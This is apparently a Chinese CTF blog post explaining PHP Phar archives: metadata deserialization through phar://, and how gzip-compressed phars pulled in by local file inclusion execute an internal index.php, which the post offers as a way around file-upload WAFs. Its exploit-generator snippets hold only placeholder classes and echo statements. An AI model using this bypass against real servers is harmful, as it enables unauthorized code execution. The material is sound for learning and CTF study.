Pharの妙妙屋

Phar(PHP Archive)是一种将多个 PHP 文件及资源打包成单个文件(类似 Java 的 JAR 或 ZIP)的 PHP 归档格式,方便 PHP 应用程序和库的分发,支持 Tar、ZIP 或自定义格式,并可通过 Gzip/Bzip2 压缩和数字签名,主要通过 php.net/manual/zh/book.phar.php 介绍的 Phar 类进行创建和操作,但需注意其反序列化机制曾存在安全漏洞。 Phar 在PHP 5.3 或更高版本中默认开启

前戏

注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。如果懒得关或找不到,可以临时使用php -d phar.readonly=0 gen_phar.php

先来看phar的结构

  1. a stub
    可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件

  2. a manifest describing the contents
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方

  3. the file contents
    被压缩文件的内容

  4. [optional] a signature for verifying Phar integrity (phar file format only)
    签名,放在文件末尾

Metadata反序列化

说到Phar在CTF里的应用,我们常常考虑到phar的Metadata反序列化,当Phar被phar://解析时,会自动触发metadata的反序列化。

来看exp

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}

$phar = new Phar("exploit.phar"); // 这里有一个Trick(后面会讲)。后缀不强制,只要整个文件名包含了.phar即可,意味着exploit.phar.png也是合法的
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,这是一个标志
$o = new TestObject(); // 这里构造pop链
$phar->setMetadata($o); // 将自定义的meta-data存入manifest,这个$o即为你构造的反序列化链
$phar->addFromString("test.txt", "test"); // 添加要打包的东西,即便不使用,也最好添加一个防止报错
// 签名自动计算
$phar->stopBuffering();
?>

Phar爱上了Include(LFI),他却想无套(压缩壳)内射(包含)?

当phar被压缩时,php对其有着相当奇妙的特性。

一定一定一定要看 这位师傅的文章

上面那位师傅讲得非常透彻!并且深入底层从源码角度展开了探索。这里总结如下:

  1. 当phar使用gzip、bz2压缩,并且被include时,会触发自动解压。
  2. 自动解压只需要文件名带有.phar即可,甚至在路径里都可以!(后缀不重要)

但实战中我有遇到过打的phar包含没有执行,仔细分析一下,这里补充第三条。

  1. 未压缩的.phar会把stub当作入口执行;压缩的phar会尝试执行内部的index.php

下面具体展开讲讲第三条。

这里给出一个例子(带压缩的phar):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
@unlink("exploit.phar");
@unlink("exploit.phar.gz");
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$code1 = <<<'EOD'
<?php
echo "Phar stub executed\n";
__HALT_COMPILER();
?>
EOD;

$code2 = <<<'EOD'
<?php
echo "Phar index.php executed\n";
?>
EOD;

$phar->setStub($code1);
$phar->addFromString('index.php', $code2);

$phar->compress(Phar::GZ);

$phar->stopBuffering();

?>

程序很简单,分别往stub和index.php里写了code1和code2,然后gz压缩生成exploit.phar.gz。那么问题来了,此时执行include("exploit.phar"); 究竟执行了code1还是code2呢?

再给出一个例子(纯phar):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
@unlink("exploit.phar");
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$code1 = <<<'EOD'
<?php
echo "Phar stub executed\n";
__HALT_COMPILER();
?>
EOD;

$code2 = <<<'EOD'
<?php
echo "Phar index.php executed\n";
?>
EOD;

$phar->setStub($code1);
$phar->addFromString('index.php', $code2);

// 注意这里不再进行压缩
// $phar->compress(Phar::GZ);

$phar->stopBuffering();

?>

依然是分别往stub和index.php里写了code1和code2,但不进行压缩。这时候执行include("exploit.phar");到底会执行code1还是code2呢?

我们实操一下

是否压缩的对比

结果非常Amazing啊!可以看到,当phar戴套(压缩后),直接include压缩包会执行index.php中的代码。为什么呢?因为当phar不进行压缩时,stub会以明文形式出现在phar头部,而其他文件均以资源形式存贮,除非制定phar内的某段代码,否则不会执行。

为什么呢?

而当phar压缩后,实际上php明文已经消失了(这也是绕过文件上传waf的关键)。这个时候,php会尝试解压phar并且自动包含内部的index.php。因此,当使用压缩的方式上传phar绕过waf,并且可控的包含路径使用了basename或者过滤了/时,可以把payload放置在index.php里,当包含压缩phar时会自动执行。

总结:未压缩的 .phar 会把 stub 当作 PHP 入口执行;一旦压缩成 .phar.gz / .phar.bz2,stub 不再是明文入口,PHP 会先解压并把 phar 当作“文件系统”处理,include 时自动落到内部的 index.php,从而执行其中的代码。

另外补充一点我老是搞不清楚的东西:

Phar::compressFiles()Phar::compress()的区别:

特性Phar::compress()Phar::compressFiles()
压缩对象整个 phar 文件仅 phar 内文件内容
输出文件新文件(.phar.gz/.phar.bz2原 phar 文件
stub 行为include时不会执行stubstub是原文,LFI是会执行stub
metadata包含在压缩流里metadata 不变